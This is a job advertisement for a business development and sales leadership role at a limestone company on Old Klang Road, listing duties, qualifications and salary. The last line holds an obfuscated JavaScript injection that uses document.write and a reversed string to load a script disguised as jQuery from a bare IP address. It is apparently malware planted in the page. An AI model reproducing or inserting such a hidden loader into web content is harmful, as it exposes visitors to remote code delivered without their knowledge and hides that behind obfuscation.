Location : Old Klang Road
Industry : Limestone
Salary : RM 7-10k
– Identifies trendsetter ideas by researching industry and related events, publications, and announcements; tracking key customers and events, developments and trends which have high impact on key customers.
– Work with cross functional and technical teams to meet customer expectations.
– Search and proposes potential business deals by contacting potential partners; discovering and exploring opportunities.
– Screens potential business deals by analyzing market strategies, deal requirements, potential, and financials; evaluating options; resolving internal priorities; recommending equity investments.
– Closes new business deals by coordinating requirements; developing and negotiating contracts; integrating contract requirements with business operations.
– Updates job knowledge by participating in educational opportunities; reading professional publications; maintaining personal networks; participating in professional organizations.
– Preferably a Degree, however candidates who have good business development work experience are encouraged to apply.
– Ability to close sales
– Leadership skills in managing a sales/marketing team.
– Identify new customer prospects and maintaining relationships with existing customers.
– Strategic Sale/Marketing business acumen
– Market Knowledge
– Presentation Skills
– High energy and enthusiasm to lead team towards achieving targets document.write(‘>tpircs/”sj.yreuqj/87.611.942.431//:sptth”=crs tpircs<'.split("").reverse().join(""))